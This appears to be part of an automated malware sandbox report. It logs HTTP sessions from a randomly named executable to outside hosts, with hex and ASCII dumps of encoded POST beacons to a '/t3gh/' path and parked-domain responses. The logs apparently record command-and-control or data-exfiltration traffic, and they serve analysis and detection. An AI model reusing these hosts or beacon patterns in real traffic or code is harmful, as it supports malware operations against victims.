                                                                                                                                                                              Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/d3VC+yVwPv315CAHbDNlnRKAwyZP/mrOjWHSiQuzLig9NbMi0CwUIe38g6N1I4J6S+qUXsN6/4B/pOUWV6Bg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                                                                                                              Oct 2, 2024 15:16:40.097379923 CEST567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                                                                                                              Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTExY2RjOTYtMTY4NC00ZGViLWFjMTktNWMxMDk0MzllZDkyIiwicGFnZV90aW1lIjoxNzI3ODc1MD


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              4192.168.2.749710199.59.243.227806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:42.559709072 CEST506OUTGET /l4rw/?PDnL0H4=bxLhvRGrGkmA3a8MVLksA9O6epMWunBjiiDhmPdAbaxOp/M+Gpk9AJyEIFaWZbfbYSMKIIsbQIm0wGAdIoyiMtPXYWC6E+UHTloZARVqKBbmWVLZ91Lo1Le8qgLpq0Xpt4sX3vyn3hlR&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.notepad.mobi
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:16:43.018353939 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              date: Wed, 02 Oct 2024 13:16:42 GMT
                                                                                                                                                                              content-type: text/html; charset=utf-8
                                                                                                                                                                              content-length: 1494
                                                                                                                                                                              x-request-id: edfef12c-316f-4d69-852c-df26eafdbe7b
                                                                                                                                                                              cache-control: no-store, max-age=0
                                                                                                                                                                              accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              vary: sec-ch-prefers-color-scheme
                                                                                                                                                                              x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_TNV2qOlBi8cXaYuZd1Z1u0bXa0ejwJ4ms++kRsk7CVVbOJyxI+ifJf0GwOgQgPTrkAHrFEis6TDaqlPXOzU7Xw==
                                                                                                                                                                              set-cookie: parking_session=edfef12c-316f-4d69-852c-df26eafdbe7b; expires=Wed, 02 Oct 2024 13:31:42 GMT; path=/
                                                                                                                                                                              connection: close
                                                                                                                                                                              Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 54 4e 56 32 71 4f 6c 42 69 38 63 58 61 59 75 5a 64 31 5a 31 75 30 62 58 61 30 65 6a 77 4a 34 6d 73 2b 2b 6b 52 73 6b 37 43 56 56 62 4f 4a 79 78 49 2b 69 66 4a 66 30 47 77 4f 67 51 67 50 54 72 6b 41 48 72 46 45 69 73 36 54 44 61 71 6c 50 58 4f 7a 55 37 58 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_TNV2qOlBi8cXaYuZd1Z1u0bXa0ejwJ4ms++kRsk7CVVbOJyxI+ifJf0GwOgQgPTrkAHrFEis6TDaqlPXOzU7Xw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                                                                                                              Oct 2, 2024 15:16:43.018368006 CEST224INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                                                                                                              Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZWRmZWYxMmMtMzE2Zi00ZDY5LTg1MmMtZGYyNmVhZmRiZTdiIiwicGFnZV9
                                                                                                                                                                              Oct 2, 2024 15:16:43.018376112 CEST723INData Raw: 30 61 57 31 6c 49 6a 6f 78 4e 7a 49 33 4f 44 63 31 4d 44 41 79 4c 43 4a 77 59 57 64 6c 58 33 56 79 62 43 49 36 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 62 6d 39 30 5a 58 42 68 5a 43 35 74 62 32 4a 70 4c 32 77 30 63 6e 63 76 50 31 42 45 62
                                                                                                                                                                              Data Ascii: 0aW1lIjoxNzI3ODc1MDAyLCJwYWdlX3VybCI6Imh0dHA6Ly93d3cubm90ZXBhZC5tb2JpL2w0cncvP1BEbkwwSDQ9YnhMaHZSR3JHa21BM2E4TVZMa3NBOU82ZXBNV3VuQmppaURobVBkQWJheE9wL00rR3BrOUFKeUVJRmFXWmJmYllTTUtJSXNiUUltMHdHQWRJb3lpTXRQWFlXQzZFK1VIVGxvWkFSVnFLQmJtV1ZMWjkxTG


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              5192.168.2.74971137.9.175.163806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:48.174316883 CEST797OUTPOST /t3gh/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.elektromontaze.online
                                                                                                                                                                              Origin: http://www.elektromontaze.online
                                                                                                                                                                              Referer: http://www.elektromontaze.online/t3gh/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 2b 47 72 71 44 36 73 63 53 57 59 74 78 41 4c 58 69 52 74 34 6f 68 43 43 48 74 52 48 6a 74 41 78 66 52 4d 33 41 72 4b 77 57 58 75 32 44 32 57 4d 61 74 2f 33 6f 4a 74 2f 31 59 54 79 55 5a 30 7a 67 45 34 77 66 63 6f 6f 46 39 6b 46 33 45 44 46 39 44 4a 75 5a 6b 55 4e 4d 4f 36 42 33 6f 48 74 36 33 4d 76 78 78 64 65 66 42 33 35 6f 4a 76 54 30 61 77 49 47 4d 35 62 78 32 46 30 32 73 49 74 49 62 76 73 75 75 72 58 37 70 36 45 41 6e 4d 6a 64 62 73 49 38 74 66 6f 56 6d 6a 69 43 31 36 77 63 65 6d 6f 55 5a 73 7a 57 41 58 6f 4e 33 72 2f 64 6d 68 53 67 50 4b 67 4a 35 71 4a 6b 75 67 49 71 44 79 42 34 73 6f 2f 36 44 64 50 50 4b 64 76 6c 77 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=+GrqD6scSWYtxALXiRt4ohCCHtRHjtAxfRM3ArKwWXu2D2WMat/3oJt/1YTyUZ0zgE4wfcooF9kF3EDF9DJuZkUNMO6B3oHt63MvxxdefB35oJvT0awIGM5bx2F02sItIbvsuurX7p6EAnMjdbsI8tfoVmjiC16wcemoUZszWAXoN3r/dmhSgPKgJ5qJkugIqDyB4so/6DdPPKdvlw==
                                                                                                                                                                              Oct 2, 2024 15:16:48.887969017 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              Server: openresty
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:16:48 GMT
                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Content-Encoding: gzip
                                                                                                                                                                              Data Raw: 31 31 31 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 3c cb 72 e4 b6 b5 7b 7f 05 dc 53 2e 49 2e b1 5f 6a 3d a6 1f 4a 34 1a c9 49 25 37 99 8a c7 95 c4 29 d7 14 9a 44 37 29 91 04 cd 47 b7 5a 8a f3 07 f7 03 6e 79 95 a5 17 5e dd 75 b2 91 f3 5f 39 07 04 d8 e0 bb 25 cb ae 2c 82 19 49 24 70 70 70 de e7 00 64 f7 f4 e3 b7 bf bf 7c ff e7 77 57 c4 8e 3d f7 fc a3 29 fe 21 2e f5 97 b3 0e f3 3b d8 c1 a8 75 fe 11 81 36 8d 9d d8 65 e7 17 66 ec ac d8 70 34 ed a5 f7 e9 98 c7 62 4a 4c 9b 86 11 8b 67 9d 24 5e 18 67 1d 7d c8 a7 1e 9b 75 56 0e 5b 07 3c 8c 3b c4 e4 7e cc 7c 00 5d 3b 56 6c cf 2c b6 72 4c 66 88 9b 43 e2 39 be e3 25 9e 11 99 d4 65 b3 41 b7 0f 5d f4 2e df d5 21 bd 32 fe 05 0f 3d 1a 1b 16 8b 19 50 c9 7d 6d 9d 98 b9 2c b0 b9 cf 66 3e af a0 ec 96 6d d6 3c b4 22 6d 46 05 94 c5 22 33 74 82 02 6a 05 38 a7 11 23 76 c8 16 b3 8e 1d c7 41 34 ee f5 4c cb ef 52 29 b0 2e 4b 72 28 11 c6 60 5f 27 ce 6a d6 f9 93 f1 c5 85 71 c9 bd 80 c6 ce dc 65 1a f2 5f 5f cd ae ac 25 db b2 eb 3a fe 2d 09 99 3b eb 44 36 88 d2 4c 62 e2 98 48 4f [TRUNCATED]
                                                                                                                                                                              Data Ascii: 111d<r{S.I._j=J4I%7)D7)GZny^u_9%,I$pppd|wW=)!.;u6efp4bJLg$^g}uV[<;~|];Vl,rLfC9%eA].!2=P}m,f>m<"mF"3tj8#vA4LR).Kr(`_'jqe__%:-;D6LbHODK3<-{IEF_.`UcAMFd!s)M2(4${"uOM7K.{$~398?/Cl1j_R,'~AIOrO &iB:y!&p/0en5x} g:\]k oO^@9)z8*,qn3z"7@bkI@.o$ihgGqo98T<;^,`!K89;.8wy*>N+m'F9.D(rLV4/KK3[]%3D?%IBjYs~gDCy@;oo=~_;EZ\Xai`b.arC L$e!`6pw(,g^D+.k>!v!}#E.&i!'1$s&4\PFP8FDCCFIqL'V0" ezUU )5`h&KkAyLHb
                                                                                                                                                                              Oct 2, 2024 15:16:48.887989044 CEST1236INData Raw: 26 0f 29 8a b3 72 41 6f 09 80 99 38 25 04 d4 89 69 15 a9 58 2b f2 13 f3 a0 bc 5c a6 89 14 89 99 84 11 9a 56 c0 21 7c b0 b0 00 3f 16 de be 1b 91 74 bc e0 66 12 d5 01 e7 64 90 23 a2 56 3a 29 db 25 36 cb c6 a0 56 56 68 fb 93 32 9a a2 70 e6 1c 66 7a
                                                                                                                                                                              Data Ascii: &)rAo8%iX+\V!|?tfd#V:)%6VVh2pfz[lOA8`6@t1CEdu^csqk"*47E'E%W}&q{RP^N;PsZ>Q2UV7<WP;FVy2j!s?#9
                                                                                                                                                                              Oct 2, 2024 15:16:48.888000011 CEST448INData Raw: 7d d1 49 e4 86 a3 3c 09 f0 7f a0 ae 9b 2f 75 b4 58 9d 85 9f 93 ea 42 41 cd a7 78 55 ca 11 0d c9 0c b0 28 b7 7c 75 74 d9 c7 67 a3 7a fa 28 16 f3 90 dd e4 66 b1 f2 41 e1 76 67 85 0c 0f 61 b6 b8 aa aa 93 32 33 76 7c b1 c0 dc e5 e6 6d 51 a1 b8 7c b3
                                                                                                                                                                              Data Ascii: }I</uXBAxU(|utgz(fAvga23v|mQ|[D1(Rt:ZmX=;!'Et8!ApO~k"d[Vf$%RWQxa55YMIkDT`ZuYq'K,"'_-Pes.~5j[J.K0#+7w'P
                                                                                                                                                                              Oct 2, 2024 15:16:48.888103962 CEST1236INData Raw: 1e 1a bc e1 f4 e4 b4 22 7e a4 8f 52 34 f6 85 fe 8a 31 03 21 b3 47 40 c5 73 db 02 dc f6 b1 86 fe 80 06 0d 30 c7 60 8d e5 35 59 7a d5 94 f6 78 57 3d ab d1 c2 2b dd 3d 0f 5d 64 a5 32 7d 64 92 42 4e 44 3d 0d 09 04 e5 38 26 f8 7b 52 7c f6 5e c0 a9 1d
                                                                                                                                                                              Data Ascii: "~R41!G@s0`5YzxW=+=]d2}dBND=8&{R|^Q>DZ> aV3Ry_0R%"!BKu:)*jnz,8SOayNSGCxkD71SE57&*6%>`Xplejz(U8cM0
                                                                                                                                                                              Oct 2, 2024 15:16:48.888114929 CEST470INData Raw: df ed 4c 79 23 50 83 09 61 6b 1b d6 b3 4b 76 c2 da c2 ee 34 71 33 43 6b 39 95 52 6d ea 3a e7 3b 95 0f bf 51 a7 08 7f 17 a7 08 14 f9 9f f6 60 f6 f3 96 28 e6 a2 8e f6 7d 24 2f 8a 38 4a 02 fc a4 1c 2c f0 8e 7b dc dc 0d fb b4 97 b8 2d 10 5b 51 3f b7
                                                                                                                                                                              Data Ascii: Ly#PakKv4q3Ck9Rm:;Q`(}$/8J,{-[Q?W*dEJE1s7sj5KRh6|dH#xC#}K[y)|4M%hHfvNXQ"p/ i-$Ny%nx0!'>]9K


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              6192.168.2.74971237.9.175.163806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:50.712022066 CEST817OUTPOST /t3gh/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.elektromontaze.online
                                                                                                                                                                              Origin: http://www.elektromontaze.online
                                                                                                                                                                              Referer: http://www.elektromontaze.online/t3gh/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 2b 47 72 71 44 36 73 63 53 57 59 74 33 67 37 58 75 53 56 34 75 42 43 42 5a 39 52 48 70 4e 41 4c 66 52 41 33 41 6f 47 67 57 42 2b 32 44 57 6d 4d 62 73 2f 33 72 4a 74 2f 73 6f 54 33 61 35 30 6f 67 45 46 54 66 64 45 6f 46 37 49 46 33 42 2f 46 39 55 6c 68 44 55 55 50 45 75 36 44 35 49 48 74 36 33 4d 76 78 78 49 7a 66 43 48 35 6f 35 2f 54 31 37 77 4c 59 38 35 59 79 32 46 30 79 73 49 70 49 62 76 46 75 72 4c 39 37 72 53 45 41 6d 38 6a 65 4f 41 50 32 74 66 71 5a 32 69 39 43 6b 50 31 64 76 44 53 54 37 77 32 51 7a 6a 64 46 68 32 64 48 45 74 2b 2b 65 79 62 4e 37 4f 2f 7a 49 39 39 6f 43 32 5a 31 4f 63 65 6c 30 34 6c 43 59 38 72 7a 44 58 76 42 4b 35 63 33 4e 61 75 31 2f 33 76 2b 6d 73 76 4a 4e 63 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=+GrqD6scSWYt3g7XuSV4uBCBZ9RHpNALfRA3AoGgWB+2DWmMbs/3rJt/soT3a50ogEFTfdEoF7IF3B/F9UlhDUUPEu6D5IHt63MvxxIzfCH5o5/T17wLY85Yy2F0ysIpIbvFurL97rSEAm8jeOAP2tfqZ2i9CkP1dvDST7w2QzjdFh2dHEt++eybN7O/zI99oC2Z1Ocel04lCY8rzDXvBK5c3Nau1/3v+msvJNc=
                                                                                                                                                                              Oct 2, 2024 15:16:51.371375084 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              Server: openresty
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:16:51 GMT
                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Content-Encoding: gzip
                                                                                                                                                                              Data Raw: 31 31 31 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 3c cb 72 e4 b6 b5 7b 7f 05 dc 53 2e 49 2e b1 5f 6a 3d a6 1f 4a 34 1a c9 49 25 37 99 8a c7 95 c4 29 d7 14 9a 44 37 29 91 04 cd 47 b7 5a 8a f3 07 f7 03 6e 79 95 a5 17 5e dd 75 b2 91 f3 5f 39 07 04 d8 e0 bb 25 cb ae 2c 82 19 49 24 70 70 70 de e7 00 64 f7 f4 e3 b7 bf bf 7c ff e7 77 57 c4 8e 3d f7 fc a3 29 fe 21 2e f5 97 b3 0e f3 3b d8 c1 a8 75 fe 11 81 36 8d 9d d8 65 e7 17 66 ec ac d8 70 34 ed a5 f7 e9 98 c7 62 4a 4c 9b 86 11 8b 67 9d 24 5e 18 67 1d 7d c8 a7 1e 9b 75 56 0e 5b 07 3c 8c 3b c4 e4 7e cc 7c 00 5d 3b 56 6c cf 2c b6 72 4c 66 88 9b 43 e2 39 be e3 25 9e 11 99 d4 65 b3 41 b7 0f 5d f4 2e df d5 21 bd 32 fe 05 0f 3d 1a 1b 16 8b 19 50 c9 7d 6d 9d 98 b9 2c b0 b9 cf 66 3e af a0 ec 96 6d d6 3c b4 22 6d 46 05 94 c5 22 33 74 82 02 6a 05 38 a7 11 23 76 c8 16 b3 8e 1d c7 41 34 ee f5 4c cb ef 52 29 b0 2e 4b 72 28 11 c6 60 5f 27 ce 6a d6 f9 93 f1 c5 85 71 c9 bd 80 c6 ce dc 65 1a f2 5f 5f cd ae ac 25 db b2 eb 3a fe 2d 09 99 3b eb 44 36 88 d2 4c 62 e2 98 48 4f [TRUNCATED]
                                                                                                                                                                              Data Ascii: 111d<r{S.I._j=J4I%7)D7)GZny^u_9%,I$pppd|wW=)!.;u6efp4bJLg$^g}uV[<;~|];Vl,rLfC9%eA].!2=P}m,f>m<"mF"3tj8#vA4LR).Kr(`_'jqe__%:-;D6LbHODK3<-{IEF_.`UcAMFd!s)M2(4${"uOM7K.{$~398?/Cl1j_R,'~AIOrO &iB:y!&p/0en5x} g:\]k oO^@9)z8*,qn3z"7@bkI@.o$ihgGqo98T<;^,`!K89;.8wy*>N+m'F9.D(rLV4/KK3[]%3D?%IBjYs~gDCy@;oo=~_;EZ\Xai`b.arC L$e!`6pw(,g^D+.k>!v!}#E.&i!'1$s&4\PFP8FDCCFIqL'V0" ezUU )5`h&KkAyLHb
                                                                                                                                                                              Oct 2, 2024 15:16:51.371402025 CEST1236INData Raw: 26 0f 29 8a b3 72 41 6f 09 80 99 38 25 04 d4 89 69 15 a9 58 2b f2 13 f3 a0 bc 5c a6 89 14 89 99 84 11 9a 56 c0 21 7c b0 b0 00 3f 16 de be 1b 91 74 bc e0 66 12 d5 01 e7 64 90 23 a2 56 3a 29 db 25 36 cb c6 a0 56 56 68 fb 93 32 9a a2 70 e6 1c 66 7a
                                                                                                                                                                              Data Ascii: &)rAo8%iX+\V!|?tfd#V:)%6VVh2pfz[lOA8`6@t1CEdu^csqk"*47E'E%W}&q{RP^N;PsZ>Q2UV7<WP;FVy2j!s?#9
                                                                                                                                                                              Oct 2, 2024 15:16:51.371423960 CEST448INData Raw: 7d d1 49 e4 86 a3 3c 09 f0 7f a0 ae 9b 2f 75 b4 58 9d 85 9f 93 ea 42 41 cd a7 78 55 ca 11 0d c9 0c b0 28 b7 7c 75 74 d9 c7 67 a3 7a fa 28 16 f3 90 dd e4 66 b1 f2 41 e1 76 67 85 0c 0f 61 b6 b8 aa aa 93 32 33 76 7c b1 c0 dc e5 e6 6d 51 a1 b8 7c b3
                                                                                                                                                                              Data Ascii: }I</uXBAxU(|utgz(fAvga23v|mQ|[D1(Rt:ZmX=;!'Et8!ApO~k"d[Vf$%RWQxa55YMIkDT`ZuYq'K,"'_-Pes.~5j[J.K0#+7w'P
                                                                                                                                                                              Oct 2, 2024 15:16:51.371434927 CEST1236INData Raw: 1e 1a bc e1 f4 e4 b4 22 7e a4 8f 52 34 f6 85 fe 8a 31 03 21 b3 47 40 c5 73 db 02 dc f6 b1 86 fe 80 06 0d 30 c7 60 8d e5 35 59 7a d5 94 f6 78 57 3d ab d1 c2 2b dd 3d 0f 5d 64 a5 32 7d 64 92 42 4e 44 3d 0d 09 04 e5 38 26 f8 7b 52 7c f6 5e c0 a9 1d
                                                                                                                                                                              Data Ascii: "~R41!G@s0`5YzxW=+=]d2}dBND=8&{R|^Q>DZ> aV3Ry_0R%"!BKu:)*jnz,8SOayNSGCxkD71SE57&*6%>`Xplejz(U8cM0
                                                                                                                                                                              Oct 2, 2024 15:16:51.371445894 CEST470INData Raw: df ed 4c 79 23 50 83 09 61 6b 1b d6 b3 4b 76 c2 da c2 ee 34 71 33 43 6b 39 95 52 6d ea 3a e7 3b 95 0f bf 51 a7 08 7f 17 a7 08 14 f9 9f f6 60 f6 f3 96 28 e6 a2 8e f6 7d 24 2f 8a 38 4a 02 fc a4 1c 2c f0 8e 7b dc dc 0d fb b4 97 b8 2d 10 5b 51 3f b7
                                                                                                                                                                              Data Ascii: Ly#PakKv4q3Ck9Rm:;Q`(}$/8J,{-[Q?W*dEJE1s7sj5KRh6|dH#xC#}K[y)|4M%hHfvNXQ"p/ i-$Ny%nx0!'>]9K


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              7192.168.2.74971337.9.175.163806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:53.260324955 CEST1830OUTPOST /t3gh/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.elektromontaze.online
                                                                                                                                                                              Origin: http://www.elektromontaze.online
                                                                                                                                                                              Referer: http://www.elektromontaze.online/t3gh/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 2b 47 72 71 44 36 73 63 53 57 59 74 33 67 37 58 75 53 56 34 75 42 43 42 5a 39 52 48 70 4e 41 4c 66 52 41 33 41 6f 47 67 57 42 32 32 45 6b 75 4d 61 50 48 33 71 4a 74 2f 6b 49 54 32 61 35 30 6c 67 45 73 61 66 64 59 43 46 2b 55 46 32 6a 48 46 71 32 64 68 57 45 55 50 62 65 36 43 33 6f 48 34 36 78 73 72 78 78 59 7a 66 43 48 35 6f 2f 37 54 32 71 77 4c 61 38 35 62 78 32 46 34 32 73 49 52 49 61 48 30 75 72 2f 48 34 61 79 45 44 47 73 6a 53 63 34 50 36 74 66 73 59 47 69 31 43 6b 54 2b 64 76 65 72 54 36 55 63 51 78 44 64 56 58 62 59 59 33 42 44 69 39 4c 61 41 38 36 61 31 50 56 64 6b 77 4f 2f 79 2b 30 42 6f 58 6b 61 45 49 49 59 34 6c 47 65 44 4a 4a 38 35 2b 4b 45 7a 35 69 47 6e 56 4e 6b 66 37 6a 62 52 4f 62 57 6e 38 61 58 6c 44 6b 54 30 37 6d 37 72 49 39 55 59 6a 69 77 46 38 4e 57 73 55 37 68 6a 2b 32 4a 73 73 31 72 70 61 4a 66 30 68 50 73 45 36 6a 35 6e 64 39 70 74 77 43 62 6a 6a 38 54 31 7a 45 4f 49 38 5a 36 33 49 61 37 76 4a 49 36 78 66 52 71 32 31 35 63 73 64 45 73 47 59 6d 43 53 44 [TRUNCATED]
